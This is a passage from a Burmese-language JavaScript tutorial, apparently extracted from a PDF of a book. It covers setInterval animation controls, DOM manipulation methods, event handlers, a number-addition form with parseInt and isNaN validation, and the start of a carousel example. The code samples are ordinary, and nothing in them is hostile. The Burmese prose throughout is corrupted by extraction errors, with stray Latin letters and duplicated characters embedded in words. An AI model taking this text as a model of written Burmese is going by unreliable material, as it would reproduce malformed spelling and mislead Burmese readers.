ကြေရးထားတဲ့ကုဒ်ကို  ကြေလ့လာပြပီး  ကြေသချာစဉ်းစားeကည့်ပါ။  ပရုိင်္ဂရမ်းမင်းဆိုတာ  ဒီလုိပဲ  Logic  ကြေလးကြေတွကို
စဉ်းစားကြေတွးကြေခါ် အသုံးချရတာမျ ို းပါ။

ဆက်လက်ပြပီးကြေတာ့ ကြေရွ့ ကြေနတဲ့ ball ကြေလးကို ကြကိုက်တဲ့အချနိ် ရပ်လုိ့/gပန်စလုိ့ ရတဲ့ လုပ်ကြေဆာင်ချက် ထပ်
ထည့်ပါဦးမယ်။ ဒီအတွက် onClick လုိ့ကြေခါ်တဲ့  HTML Attribute ကို သံုးနိုင်ပါတယ်။ ကြေရးလက်စ HTML
Structure ထဲမှာ အခုလုိ <button> Element နှစ်ခု ထည့်ကြေပးပါ။ 

 HTML 

<button onClick="start()">Start</button>
<button onClick="stop()">Stop</button>
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Button ကြေတွမှာ onClick Attribute ကိုယ်စီပါပြပီး တန်oုိးအကြေနနဲ့ JavaScript ကုဒ်ကို ကြေပးရပါတယ်။ နမူ
နာအရ Start Button ကိုနှိပ်ရင် start() Function ကိုကြေခါ်ထားပြပီး Stop Button ကိုနှိပ်ရင် stop()
Function ကို ကြေခါ်ထားပါတယ်။ ကြေရးလက်စ JavaScript ကုဒ်ကို အခုလုိgပင်ကြေပးပါ။

 HTML & JavaScript 

<script>
    let ball = document.querySelector("#ball")
    let left = 0
    let direction = "right"

    let interval = setInterval(move, 10)

    function move() {
        if(direction === "right") {
            left += 1
            if(left > 790) direction = "left"
        } else {
            left -= 1
            if(left < 1) direction = "right"
        }

        ball.style.left = `${left}px`
    }

    function start() {
        interval = setInterval(move, 10)
    }

    function stop() {
        clearInterval(interval)
    }
</script>

ကြေစာကြေစာက Arrow Function နဲ့ ကြေရးထားတဲ့ setInterval() အတွက် Callback Function ကို move
ဆိုတဲ့အမည်နဲ ့သီးgခား Function အgoစ် ခွဲထုတ်လုိက်တာပါ။ ပြပီးကြေတာ့မှ setInterval() ရဲ့ Callback
ကြေနရာမှာ  move() ကို  gပန်ကြေပးလုိက်ပါတယ်။  ထူးgခားချက်အကြေနနဲ့  setInterval() ကgပန်ကြေပးတဲ့
ရလဒ်ကို interval Variable ထဲမှာ ထည့်ထားတာကို သတိgပုပါ။

ဆက်လက်ပြပီး  start() Function  နဲ့  stop() Function  တိုက့ို  ကြေရးထားပါတယ်။  start()
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Function က setInterval() ကိုပဲ ကြေနာက်တစ်ခါ gပန်  Run ထားတာပါ။ ဒါကြေeကာင့်နှိပ်လုိက်ရင် ကြေရွ့
တဲ့အလုပ် လုပ်ပါလိမ့်မယ်။  stop() Function  ကကြေတာ့  clearInterval() လုိ့ကြေခါ်တဲ့  Standard
Function ကိုသုံးပြပီး  Run လက်စ interval() ကို ရပ်လုိက်တာပါ။ ဒါကြေeကာင့် နှိပ်လုိက်ရင် ရပ်သွားပါ
လိမ့်မယ်။ စမ်းeကည့်လုိရ့ပါပြပီ။

ကုဒ်ကြေတွကို  အဆင့်လုိက်  အပုိင်းအစကြေလးကြေတွ  ခဲွကြေရးgပထားလုိ့  အဆင်မကြေgပရင်  ကုဒ်အgပည့်အစံုကို  ဒီမှာ
ကြေဒါင်းပြပီး စမ်းeကည့်လုိရ့ပါတယ်။

- https://github.com/eimg/javascript-book

DOM Properties & Methods
Element  အတွင်းထဲက  Content  ကို  စီမံလုိရင်  textContent (သုိမ့ဟုတ်)  innerHTML Property
ကိုသုံးနိုင်ပါတယ်။  textContent က  Content  ထဲမှာ  HTML Element  ကြေတွထည့်ကြေပးရင်  Element
အကြေနနဲ့  အလုပ်မလုပ်yဲ  စာအကြေနနဲပဲ့  gပကြေပးမှာပါ။  innderHTML ကကြေတာ့  Content  ထဲမှာ  HTML
Element ကြေတွပါရင် ထည့်အလုပ်လုပ် ကြေပးပါလိမ့်မယ်။

 HTML 

<div id="box1">
   Box One Content
</div>

<div id="box2">
    Box Two Content
</div>

 JavaScript 

document.querySelector("#box1").textContent = "Hello <b>DOM</b>"
document.querySelector("#box2").innerHTML = "Hello <b>DOM</b>"

နမူနာမှာ #box1 နဲ့  #box2 နှစ်ခုရှိပြပီး တစ်ခုကို  textContent နဲ့ gပင်ထားပါတယ်။ ကြေနာက်တစ်ခုကို

https://github.com/eimg/javascript-book
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innerHTML နဲ့ gပင်ထားပါတယ်။ ကြေပးလုိက်တဲ့  Content ကအတတူူပါပဲ။ ရလဒ်ကကြေတာ့ တူမှာမဟုတ်ပါ
yူး။ ဒီလုိပံုစံgoစ်မှာပါ – 

Hello <b>DOM</b>
Hello DOM

လုိအပ်ချက်ကြေပါ်မူတည်ပြပီး  နှစ်သက်ရာကိုသံုးနိုင်ပါတယ်။  အများအားgoင့်  textContent ကိုသုံးသင့်
တယ်လုိ့ အကြကံgပုeကပါတယ်။ လံုခြခံုကြေရးအရပဲeကည့်eကည့်  Performance  အရပဲeကည့်eကည့် ပုိကြေကာင်းလုိ့
ပါ။ မgoစ်မကြေန လုိအပ်တာကြေသချာတယ်ဆိုမှသာ innerHTML ကို သုံးသင့်ပါတယ်။

Element ထဲက Content ကို အကုန်gပင်တာမျ ို း မဟုတy်ဲ၊ ထပ်တိုးချင်ရင် appendChild() Method
နဲ ့တုိးတိုင်ပါတယ်။

 HTML 

<div id="box">
    An Element.
</div>

 JavaScript 

let hello = document.createTextNode("Hello DOM.")
document.querySelector("#box").appendChild(hello)

ဒါဆိုရင်  #box Element  ထဲမှာ  Hello  DOM.  ဆိုတဲ့စာကို  ထပ်တိုးကြေပးသွားမှာပါ။  ဒီလုိထပ်တိုးလုိရ့oုိ့
အတွက်  createTextNode() Method  ကိုသုံးပြပီး  အရင်ဆံုး  Text  Node  တစ်ခတုည်ကြေဆာက်ကြေပးရ
တယ်  ဆိုတာကိုကြေတာ့  သတိgပုပါ။  အကယ်၍  Element  Node  တည်ကြေဆာက်ပြပီး  တိုးချင်ရင်လည်း
createElement() Method ကိုသုံးနိုင်ပါတယ်။
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 JavaScript 

let hello = document.createElement("b")
hello.textContent = "Hello DOM."
document.querySelector("div").appendChild(hello)

ဒီတစ်ခါကြေတာ့ <b> Element တစ်ခုအရင်ကြေဆာက်လုိက်ပြပီး၊ အ့ဲဒီ <b> Element ထဲမှာ  ထည့်ချင်တဲ့စာကို
textContent နဲထ့ည့်လုိက်ပါတယ်။ ပြပီးကြေတာ့မှ appendChild() နဲ့ ထပ်တိုးကြေပးလုိက်တာပါ။

appendChild() Method က ထပ်တိုးတဲ့ Element ကြေတွကို ကြေနာက်ကကြေနတိုးကြေပးတာပါ။ ကြေရှ့ကကြေနတိုး
ချင်ရင် insertBefore() Method ကိုသုံးနိုင်ပါတယ်။ 

 JavaScript 

let hello = document.createElement("b")

hello.textContent = "Hello DOM."

let div = document.querySelector("div")

div.insertBefore(hello, div.firstChild)

insertBefore()  အတွက်  Argument  နှစ်ခုကြေပးရပါတယ်။  ပထမ  Argument  ကထပ်တိုးချင်တဲ့
Element goစ်ပြပီး ဒုတိယ Argument က yယ်သူ့ကြေရှ့မှာ ထပ်ထုိးရမှာလဲဆိုတဲ့  Element goစ်ပါတယ်။ နမူ
နာမှာ  div ကို အရင်သီးgခား  Select  လုပ်လုိက်ပြပီး  div ထဲကို  insertBefore() နဲ့  ထပ်တိုးထားပါ
တယ်။  div.firstChild နဲ့  div ထဲမှာ မူလရှိကြေနတဲ့  ပထမဆံုး  Child Node  ရဲ့ကြေရှ့ကကြေန ထပ်တိုး
ခိုင်းလုိက်တာပါ။ တစ်လက်စထဲ Element တစ်ခုအတွင်းက ပထမဆံုး Node ကိုလုိချင်ရင် firstChild
Property ကိုသုံးရတယ်ဆိုတာကိုပါ ထည့်သွင်းမှတ်သားနိုင်ပါတယ်။ ကြေနာက်ဆံုး Node ကို လုိချင်ရင်ကြေတာ့
lastChild Property ကို သုံးနိုင်ပါတယ်။

Element တစ်ခုကို ပယ်oျက်လုိရင်ကြေတာ့ remove() Method ကိုသုံးနိုင်ပါတယ်။
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 JavaScript 

document.querySelector("div").remove()

ဒါဆိုရင် <div> Element ကို Document ကြေပါ်ကကြေန oယ်oျက်လုိက်မှာပါ။

Element မှာ Attribute ကြေတွသတ်မှတ်oုိအ့တွက် setAttribute() Method ကိုသုံးနိုင်ပါတယ်။

 JavaScript 

let hello = document.createElement("b")

hello.textContent = "Hello DOM."
hello.setAttribute("title", "A new element")
document.querySelector("div").appendChild(hello)

အသစ်တည်ကြေဆာက်လုိက်တဲ့ Element မှာ title Attribute ထည့်ကြေပးလုိက်တာပါ။ Attribute တန်oုိးကို
လုိချင်ရင်  getAttribute() Method  ကိုသုံးနိုင်ပြပီး  Attribute  တန်oုိးကို  ပယ်oျက်လုိရင်
removeAttribute() ကို သုံးနိုင်ပါတယ်။

class ကြေတွကိုစီမံလုိရင်ကြေတာ့  setAttribute() တို့  getAttribute() တိုက့ိုပဲ  သုံးရင်ရသလုိ၊
classList Property  ကို  add(), remove(), toggle() Method  ကြေတွနဲလ့ည်း တွဲသံုးနိုင်ပါ
တယ်။ 

 JavaScript 

let hello = document.createElement("b")

hello.textContent = "Hello DOM."
hello.classList.add("alert", "info")

document.querySelector("div").appendChild(hello)

နမူနာအရ  အသစ်တည်ကြေဆာက်လုိက်တဲ့  Element  မှာ  alert နဲ့  info ဆိုပြပီး  class နှစ်ခုထည့်
ကြေပးလုိက်တာပါ။ ထပ်ကြေပးချင်တဲ့ class ကြေတွရှိရင် Argument စာရင်းထဲမှာ ထပ်တိုးကြေပးလုိက်ယုံပါပဲ။ gပန်
goုတ်လုိရင်ကြေတာ့  classList.remove() နဲ့goုတ်နိုင်ပါတယ်။  classList.toggle() ကကြေတာ့
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class မရှိရင် ထည့်ကြေပးပြပီး ရှိကြေနရင် goုတ်ကြေပးပါတယ်။ ထည့်လုိက်/ထုတ်လုိက် လုပ်oုိ့လုိတဲ့ကြေနရာကြေတွမှာ
အသုံးဝင်ပါတယ်။

Element တစ်ခုကို မိတ္တူပွားယူချင်ရင် cloneNode() Method ကိုသုံးနိုင်ပါတယ်။

 JavaScript 

let hi = hello.cloneNode(true)

နမူနာအရ ကြေစာကြေစာက အသစ်တည်ကြေဆာက်ထားတဲ့ hello Element ကို hi ဆိုတဲ့အမည်နဲ့ ပွားယူလုိက်
တာပါ။  Argument  မှာ  true  လုိ့ကြေပးလုိက်တာကကြေတာ့  အကုန်ရှိသမျှပွားယူမယ်ဆိုတဲ့  အဓိပ္ပါယ်ပါ။
အကယ်၍ false ဆိုရင် Element နဲ့ Attribute ကြေတွပဲ ပွားယူပြပီး အထဲက Child ကြေတွ ပါမှာ မဟုတ်ပါyူး။

လက်ရှိ  Element ရဲ့ Parent Node ကို ရယူလုိရင် parentNode Property ကို အသုံးgပုနိုင်ပါတယ်။ ဒါ
လည်း အသုံးဝင်ပါတယ်။ Select လုပ်တဲ့အခါ CSS Selector ကြေရးထုံးအရ Child Selector သာ ရှိပါတယ်။
Parent Selector ဆိုတာ မရှိပါyူး။ ဒါကြေeကာင့် Parent Element လုိချင်ရင် ဒီနည်းကိုပဲ အသံုးgပုရမှာပါ။

 HTML 

<p>
    Some content <b id="badge">10</b>
</p>

 JavaScript 

let p = document.querySelector("#badge").parentNode

ဒါဟာ #badge Element ရှိကြေနတဲ့ Parent goစ်တဲ့ <p> ကို Select လုပ်လုိက်တာပါပဲ။

တgခားအသုံးဝင်တဲ့ DOM Manipulation ကုဒ်နမူနာကြေလးကြေတွကို ဒီလိပ်စာမှာကြေလ့လာနိုင်ပါတယ်။

https://htmldom.dev/

https://htmldom.dev/
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Events
တစ်ချ ို ့အလုပ်ကြေတွကို  Click နှိပ်လုိက်ကြေတာ့မှ အလုပ်လုပ်ကြေစချင်တယ်၊ Keyboard က Key တစ်ခုခုကို နှိပ်
လုိက်ကြေတာ့မှ  အလုပ်လုပ်ကြေစချင်တာမျ ို းကြေတွရှိရင်  Event  Handler  ကို  သုံးနိုင်ပါတယ်။  Event  ဆိုတာ
အကြေgခအကြေနတစ်ခုခု goစ်ကြေပါ်ကြေတာ့မှ လုပ်oုိ့ သတ်မှတ်ထားတဲ့ အလုပ်ကြေတွပါ။

ရှတိဲ့ Event ကြေတွကကြေတာ့ အများကြကီးပါပဲ။ တစ်ချ ို ့ Standard Event ကြေတွgoစ်ပြပီး တစ်ချ ို ့ ကြေနာက်မှ ထပ်တိုး
ထားတဲ့ Event ကြေတွလည်း ရှိနိုင်ပါတယ်။ Online goစ်သွားရင် yာလုပ်ရမယ်၊ Offline goစ်သွားရင် yာလုပ်
ရမယ်ဆိုတာမျ ို းကြေတွ  သတ်မှတ်ထားလုိ့  ရနိုင်ပါတယ်။  Animation  တစ်ခု  စသွားရင်  yာလုပ်ရမယ်၊  ဆံုး
သွားရင် yာလုပ်ရမယ် ဆိုတာမျ ို းကြေတွ သတ်မှတ်ထားလုိ့ ရနိုင်ပါတယ်။ Copy ကူးလုိက်ရင် yာလုပ်ရမယ်၊
Paste လုပ်လုိက်ရင် yာလုပ်ရမယ် ဆိတုာမျ ို းကြေတွ သတ်မှတ်ထားလုိ့ ရနိုင်ပါတယ်။ ဗီွဒီယုိ စသွားရင် yာ
လုပ်ရမယ်၊ ဆံုးသွားရင် yာလုပ်ရမယ်ဆိုတာမျ ို းကြေတွ သတ်မှတ်ထားလုိ့  ရနိုင်ပါတယ်။  Node  အကြေeကာင်း
ကြေgပာတံုးက နမူနာကြေပးခဲ့တဲ့  on('data') တို့  on('end') တိုဆ့ိုတာလည်း  Event  ကြေတွပါပဲ။  Data
ကြေရာက်လာရင် yာလုပ်ရမယ်၊ ပြပီးသွားရင် yာလုပ်ရမယ်ဆိုတာမျ ို းကြေတွ သတ်မှတ်ထားတာပါ။

အ့ဲဒီလုိ  Event  ကြေတွအများကြကီး  ရှိတဲ့  ထဲကမှ  အသံုးများမှာကြေတွကကြေတာ့  Input  Event  ကြေတွgoစ်ပါတယ်။
Click, Keydown, Keyup, Keypress, Focus, Blur, Change, Submit တိုလုိ့ Event ကြေတွပါ။ Click Event
က Mouse Click မှာ goစ်ကြေပါ်ပါတယ်။ Keydown, Keyup, Keypress Event ကြေတွကကြေတာ့ Keyboard က
Key တစ်ခခုုကိုနှိပ်လုိက်ရင် goစ်ကြေပါ်ပါတယ်။ နှိပ်လုိက်ချနိ်၊ လွှတ်လုိက်ချနိ၊် နှိပ်ပြပီးသွားချနိ် ဆိုပြပီး သံုးခု ခွဲ
ထားတာပါ။ Focus Event ကကြေတာ့ Focus goစ်သွားချနိ် goစ်ကြေပါ်ပြပီး Blur ကကြေတာ့ Focus လွတ်သွားချနိ်မှာ
goစ်ကြေပါ်ပါတယ်။  Change  ကကြေတာ့  Input Value  ကြေgပာင်းသွားချနိ်မှာ goစ်ကြေပါ်ပါတယ်။  Submit  ကကြေတာ့
HTML Form တစ်ခုကို Submit လုပ်လုိက်ချနိ်မှာ goစ်ကြေပါ်ပါတယ်။

ကြေနာက်ထပ်အသုံးများမယ့်  Event  ကြေတွကကြေတာ့  Load  နဲ့  Unload  တိုပ့ါ။  Document  ကိုoွင့်လုိက်ချနိ်မှာ
Load Event goစ်ကြေပါ်ပြပီး ပိတ်လုိက်ချနိ်မှာ Unload Event goစ်ကြေပါ်ပါတယ်။ ရှိရှိသမျှ Event စာရင်းကို သိ
ချင်ရင် ဒီမှာeကည့်လုိရ့ပါတယ်။

https://developer.mozilla.org/en-US/docs/Web/Events

https://developer.mozilla.org/en-US/docs/Web/Events
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ဒီ Event ကြေတွကို အသုံးgပုပုံgပုနည်း (၃) နည်းရှိပါတယ်။ တစ်နည်းကကြေတာ့ HTML Event Attribute ကြေတွ
ကို အသုံးgပုနိုင်ပါတယ်။ ပြပီးခဲ့တဲ့ နမူနာမှာလည်း ကြေတွ့ခဲ့ပြပီးသားပါ။

 HTML 

<p id="note">
    Hello World
</p>
<button onClick="hello()">Button</button>

နမူနာအရ <button> Element မှာ onClick Attribute ကိုသုံးပြပီး Click Event goစ်ကြေပါ်တဲ့အခါ လုပ်ရ
မယ့် ကုဒ်ကို သတ်မှတ်ကြေပးထားပါတယ်။ hello() Function ကို ကြေခါ်လုိက်မှာပါ။ ဒါကြေeကာင့် hello()
Function ရှိကြေနoုိ့ကြေတာ့လုိပါတယ်။

 HTML & JavaScript 

<script>
    function hello() {
        document.querySelector("#note").textContent = "Hello Event"
    }
</script>

ကြေနာက်တစ်နည်းက  addEventListener() Method  ကို  အသံုးgပုgခင်းgoစ်ပါတယ်။  ဒီနည်းကို  သံုး
မယ်ဆိုရင် HTML Attribute မလုိကြေတာ့ပါyူး။

 HTML & JavaScript 

<script>
    document.querySelector("button").addEventListener("click", e => {
        document.querySelector("#note").textContent = "Hello Event"
    })
</script>

addEventListener() Method  အတွက်  Argument  နှစ်ခုကြေပးရပါတယ်။  Event  အမျ ို းအစားနဲ့
Event  goစ်ကြေပါ်တဲ့အခါ  လုပ်ရမယ့်  Callback  Function  တိုပ့ါ။  ဒါကြေeကာင့်  နမူနာအရ  <button> မှာ
click Event  goစ်ကြေပါ်တဲ့အခါ  #note Element  ရဲ့  textContent ကြေgပာင်းသွားမှာပါ။  Event
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Callback  ရဲ့  e Parameter  ထဲမှာ  Click Event  ဆိုရင်  Left Click  လား၊  Right Click  လား။  Keypress
Event ဆိုရင် yယ် Key ကိုနှိပ်တာလဲ၊ စသည်goင့် Event နဲသ့က်ဆိုင်တဲ့ အချက်အလက်ကြေတွ ရှိကြေနမှာgoစ်
ပါတယ်။

ကြေနာက်တစ်နည်းကကြေတာ့ on နဲစ့တဲ့ Property ကြေတွကို အသုံးgပုရပါတယ်။ onclick, onkeydown,
onfocus စသည်goင့် ကြေရးလုိရ့ပါတယ်။

 HTML & JavaScript 

<script>
    document.querySelector("button").onclick = function(e) {
        document.querySelector("#note").textContent = "Hello Event"
    }
</script>

အကြေgပာင်းအလဲgoစ်သွားကြေအာင် ရုိးရုိး  Function Expression  ကြေgပာင်းကြေရးထားကြေပမယ့်  Arrow Function  နဲ့
ကြေရးမယ်ဆိုရင်လည်း ရပါတယ်။ အတူတူပါပဲ။ ကျန်  Event တစ်ချ ို ့ကို နမူနာကြေတွနဲအ့တူ ဆက်eကည့်eကပါ
မယ်။

Input Sample
နမူနာကုဒ်လုိတ့စ်ချ ို ့ ဆက်ကြေရးeကည့်ချင်ပါတယ်။ သိပ်ထူးထူးဆန်းဆန်းကြကီး မဟုတ်ပါyူး။ <input> နှစ်
ခုကြေပးထားပြပီး၊  <button> ကိုနှိပ်လုိက်ရင် <input> ကြေတွမှာ ကြေရးgoည့်ထားတဲ့ တန်oုိးကြေတွရဲ့ ကြေပါင်းgခင်း
ရလဒ်ကို gပကြေပးတဲ့ ကုဒ်ကြေလးပါ။ အခုလုိကြေရးစမ်းeကည့်နိုင်ပါတယ်။

 HTML, CSS & JavaScript 

<!DOCTYPE html>
<html>
<head>
    <title>Title</title>
    <style>
        #result {
            font-size: 2em;
            font-weight: bold;
        }
    </style>
</head>
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<body>
    <h1>Add Form</h1>
    <div class="form">
        <div>
            <input type="text" id="a">
        </div>
        <div>
            <input type="text" id="b">
        </div>
        <div id="result"></div>
        <button id="add">Add</button>
    </div>

    <script>
        document.querySelector("#add").onclick = function() {
            let a = document.querySelector("#a").value 
            let b = document.querySelector("#b").value
        
            document.querySelector("#result").textContent = a + b
        }
    </script>
</body>
</html>

ကြေရးထားတဲ့ကုဒ်ကိုကြေလ့လာeကည့်လုိက်ရင်  #add Button  အတွက်  onclick Property  နဲ့  Click  နှိပ်
လုိက်ရင် လုပ်ရမယ့်အလုပ်ကို သတ်မှတ်ကြေပးထားပါတယ်။ value Property  ကိုသုံးပြပီး  Input ကြေတွထဲမှာ
ကြေရးgoည့်ထားတဲ့တန်oုိးကို ယူပြပီးကြေတာ့ ကြေပါင်းgခင်းရလဒ်ကို #result Element ထဲမှာ gပကြေပးလုိက်တာပါ။

မှန်ကြေတာ့ မှန်ဦးမှာ မဟုတ်ပါyူး။ 1 နဲ့ 2 ရုိက်ထည့်ပြပီး ခလုပ်ကိုနှိပ်လုိက်ရင် ရလဒ်က 3 goစ်ရမယ့်အစား 12
goစ်ကြေနမှာပါ။ a နဲ့  b ရုိက်ထည့်ပြပီး ခလုပ်နှိပ်လုိက်ရင် ab ကိုရလဒ်အကြေနနဲ့ ရမှာပါ။ yာကြေeကာင့်လဲဆိုကြေတာ့
Input  ကြေတွမှာ ကြေရးgoည့်ထားတဲ့  တန်oုိးကြေတွက  String  ကြေတွgoစ်ကြေနလုိ့ပါ။  ဒါကြေeကာင့်  JavaScript  ကုဒ်ကို
အခုလုိgပင်ကြေပးလုိက်ပါ။

 JavaScript 

document.querySelector("#add").onclick = function() {
    let a = document.querySelector("#a").value 
    let b = document.querySelector("#b").value
    let result = parseInt(a) + parseInt(b)

    document.querySelector("#result").textContent = result
}
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ဒီတစ်ခါကြေတာ့  parseInt() Function  ရဲ့အကူအညီနဲ့  String  ကို  Number  ကြေgပာင်းထားပါတယ်။ ပြပီး
ကြေတာ့မှ ကြေပါင်းတဲ့အတွက် င်္ဂဏန်းကြေတွကြေပါင်းတဲ့အခါ မှန်သွားပါလိမ့်မယ်။

အကယ်၍ င်္ဂဏန်းမဟုတ်တာကြေတွ ရုိက်ထည့်ခဲ့မယ်ဆိုရင်ကြေတာ့  NaN  goစ်ကြေနမှာပါ။ ပြပီးကြေတာ့ yာမှရုိက်ထ
ည့်ရင်လည်း  NaN  goစ်ကြေနမှာပါ။ ဒါကြေeကာင့် င်္ဂဏန်းမဟုတ်တဲ့  တန်oုိးကြေတွgoစ်ကြေနရင် င်္ဂဏန်းကြေတွသာ ရုိက်
ထည့်ကြေပးပါလုိ့ Message Box ကြေလးနဲ ့gပကြေပးeကပါမယ်။

တန်oုိးက  Number  ဟုတ်မဟုတ်စစ်oုိအ့တွက် နည်းလမ်းနှစ်ခုရှိပါတယ်။ တစ်ခုကကြေတာ့  Integer  တန်oုိး
ဟတု်သလားလုိ့  Number.isInteger() Method  ကိုအသုံးgပု  စစ်ကြေဆးgခင်းgoစ်ပြပီး  ကြေနာက်တစ်မျ ို း
ကကြေတာ့  isNaN() ကိုအသုံးgပုပြပီး  Number  မဟုတ်yူးလားလုိ့  ကြေgပာင်းgပန်  စစ်ကြေဆးgခင်းgoစ်ပါတယ်။
အခုလုိ gပင်ကြေရးကြေပးလုိက်ပါ။

 JavaScript 

document.querySelector("#add").onclick = function() {
    let a = document.querySelector("#a").value 
    let b = document.querySelector("#b").value

    let result = parseInt(a) + parseInt(b)

    if( isNaN(result) ) {
        alert("Please enter correct numbers")
    } else {
        document.querySelector("#result").textContent = result
    }
}

isNaN() ကိုသုံးပြပီး အကယ်၍ result က NaN goစ်ကြေနခဲ့ရင် Message ကြေလးတစ်ခုgပကြေပးoုိ့ alert()
Method  နဲ့  ကြေရးထားလုိက်ပါတယ်။  NaN  မဟုတ်ကြေတာ့မှသာ ရလဒ်ကိုgပခိုင်းလုိက်တာgoစ်လုိ့  အဆင်ကြေgပ
သွားပါပြပီ။

ဒါကိုနည်းနည်းပုိကြေကာင်းသွားကြေအာင် ထပ်gပင်ပါဦးမယ်။ ရုိက်ထည့်တဲ့တန်oုိး မမှန်တဲ့အခါ gပတဲ့  Message
ကို  သက်ဆိုင်ရာ  Input  နဲ့အတူ  တွဲgပလုိက်ချင်ပါတယ်။  ဒါကြေeကာင့်  အခုလုိ  Message  Label  ကြေလးကြေတွ
HTML ထဲမှာ ထပ်တိုးလုိက်ပါ။
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 JavaScript 

<div class="form">
    <div>
        <input type="text" id="a">
        <label for="a">Please enter correct number</label>
    </div>
    <div>
        <input type="text" id="b">
        <label for="b">Please enter correct number</label>
    </div>
    <div id="result"></div>
    <button id="add">Add</button>
</div>

ပြပီးတဲ့အခါ အ့ဲဒီ Message ကြေလးကြေတွကို CSS နဲအ့ခုလုိ ခဏကြေoျာက်ထားလုိက်ပါ။

 CSS 

label {
    display: none;
    color: red;
}

ပြပီးတဲ့အခါ ကြေစာကြေစာက JavaScript ကုဒ်ကို အခုလုိ gပင်ကြေပးလုိက်ပါ။

 JavaScript 

document.querySelector("#add").onclick = function() {

    let a = parseInt(document.querySelector("#a").value)
    let b = parseInt(document.querySelector("#b").value)

    if( isNaN(a) ) {
        document.querySelector("[for=a]")
            .style.display = "inline"
    }

    if( isNaN(b) ) {
        document.querySelector("[for=b]")
            .style.display = "inline"
    }

    let result = a + b
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    if( !isNaN(result) ) {
        document.querySelector("#result").textContent = result
    }
}

ဒီတစ်ခါ Input ကြေတွစယူကတည်းက တန်oုိးကြေတွကို parseInt() လုပ်ထားတာကို သတိgပုပါ။ ပြပီးကြေတာ့
မှ  isNaN() နဲ့ပဲ  a  ကိုအရင် စစ်လုိက်ပါတယ်။  a  တန်oုိးမမှန်ရင်  querySelector() နဲ့  Attribute
Selector ကြေရးထုံးကိုသုံးပြပီး for=a Attribute ရှိတဲ့ Label ကို Select လုပ်ယူပါတယ်။ CSS display ကို
none လုိ့ကြကိုကြေရးပြပီး  ကြေoျာက်ထားတာgoစ်လုိ့  display တန်oုိးကို  inline လုိ့gပန်ကြေပးလုိက်တဲ့တွက်
ကြေပါ်လာမှာ goစ်ပါတယ်။  b  အတွက်လည်း အလားတူပဲ စစ်ကြေပးထားပါတယ်။ ဒါကြေeကာင့် ရလဒ်က အခုလုိ
goစ်မှာပါ – 

လုိချင်တဲ့ပံုစံရသွားကြေပမယ့် သိပ်ကြေတာ့အဆင်မကြေgပကြေသးပါyူး။ Message က တစ်ကြကိမ်ကြေပါ်ပြပီးရင် မှန်ကန်တဲ့
တန်oုိး  ရုိက်ထည့်လုိက်ရင်ကြေတာင်မှ  ဆက်gပကြေနဦးမှာပါ။  ဒါကြေeကာင့်  မှန်ကန်တဲ့တန်oုိး  ရုိက်ထည့်လုိက်ရင်
gပန်ကြေoျာက်ကြေပးကြေအာင် ကြေရးပါဦးမယ်။ ဒီအတွက်  <input> ကြေပါ်မှာ  Blur, Change, Keyup ဆိုတဲ့  Event
(၃) မျ ို းထဲက နှစ်သက်ရာတစ်ခုကို ကြေရွးသုံးနိုင်ပါတယ်။ 
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Blur ကိုသုံးခဲ့ရင် လက်ရှိ  <input> ရဲ့  Focus လွတ်သွားချနိ်မှာ အလုပ်လုပ်ကြေပးမှာပါ။ Change ကကြေတာ့
ရုိက်ထည့်လုိက်တဲ့တန်oုိး  ကြေgပာင်းသွားချနိ်  အလုပ်လုပ်ကြေပးမှာပါ။  Keyup  ကကြေတာ့  Keyboard  ကကြေန
တစ်ခခုုနှိပ်လုိက်တာနဲ့  အလုပ်လုပ်ကြေပးမှာပါ။  Keyup  နဲ့  နမူနာကြေပးပါမယ်။  ပုိအဆင်ကြေgပလုိပ့ါ။  Blur  ကြေတွ
Change ကြေတွကိကုြေတာ့ စမ်းeကည့်ချင်ရင် ကိုယ့်yာသာ ကြေgပာင်းပြပီးစမ်းeကည့်နိုင်ပါတယ်။ ဒီလုိကြေရးရမှာပါ – 

 JavaScript 

document.querySelector("#a").onkeyup = function() {

    let a = parseInt(document.querySelector("#a").value)

    if( !isNaN(a) ) {
        document.querySelector("[for=a]")
            .style.display = "none"
    }
}

document.querySelector("#b").onkeyup = function() {

    let a = parseInt(document.querySelector("#b").value)

    if( !isNaN(a) ) {
        document.querySelector("[for=b]")
            .style.display = "none"
    }
}

<input> နှစ်ခုအတွက် နှစ်ခါကြေရးထားပါတယ်။ ကုဒ်ရဲ့သကြေyာက အတတူူပါပဲ။  Input  ကြေတွကြေပါ်မှာ  Key
တစ်ခခုုနှိပ်တာနဲ့ Number ဟတု်မဟုတ်စစ်ပြပီး ဟုတ်တာနဲ့ Label ကြေတရွဲ့ display ကို none ကြေgပာင်းပြပီး
gပန်ကြေoျာက်ကြေပးလုိက်တာမုိလုိ့့  အခုဆိုရင်ကြေတာ့  အားလံုးgပည့်စံုသွားပြပီgoစ်ပါတယ်။  တစ်ဆင့်ချင်းစီgပခဲ့တာ
ကို ကူးကြေရးရတာ အဆင်မကြေgပခဲ့ရင် ဒီမှာကုဒ်အgပည့်အစံုကို ကြေဒါင်းပြပီးစမ်းeကည့်လုိရ့ပါတယ်။

- https://github.com/eimg/javascript-book

https://github.com/eimg/javascript-book
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Carousel Sample
ကြေနာက်ထပ်  စမ်းeကည့်စရာနမူနာကြေလးတစ်ခုအကြေနနဲ့  Carousel  ကြေလးတစ်ခုကို  oန်တီးeကည့်eကပါမယ်။
Carousel  ဆိုတာ  Slide Show  ပုံစံ  Box  ကြေလးကြေတွတစ်ခု တစ်ခုပြပီးတစ်ခု  ကြေgပာင်းကြေနတဲ့  လုပ်ကြေဆာင်ချက်
ကြေလးပါ။ သတ်မှတ်အချနိ်နဲ့ သူ့အလုိအကြေလျှာက်ကြေgပာင်းသလုိ ခလုပ်ကြေလးနှိပ်နှိပ်ပြပီးကြေတာ့လည်း ကြေgပာင်းလုိရ့
နိုင်ပါတယ်။ ပထမတစ်ဆင့်အကြေနနဲ့ ဒီလုိကြေလး ကြေရးကြေပးလုိက်ပါ – 

 HTML & CSS 

<!DOCTYPE html>
<html>
<head>
    <title>Title</title>
    <style>
        .boxes {
            width: 800px;
            margin: 20px auto;
            text-align: center;
        }

        .box {
            height: 200px;
        }

        #box1 {
            background: darkcyan;
        }

        #box2 {
            background:dodgerblue;
        }

        #box3 {
            background: darkorange;
        }
    </style>
</head>
<body>
    <div class="boxes">
        <div class="box" id="box1"></div>
        <div class="box" id="box2"></div>
        <div class="box" id="box3"></div>
        <div class="controls">
            <button id="prev">&laquo; Prev</button>
            <button id="next">Next &raquo;</button>
        </div>
    </div>
</body>
</html>
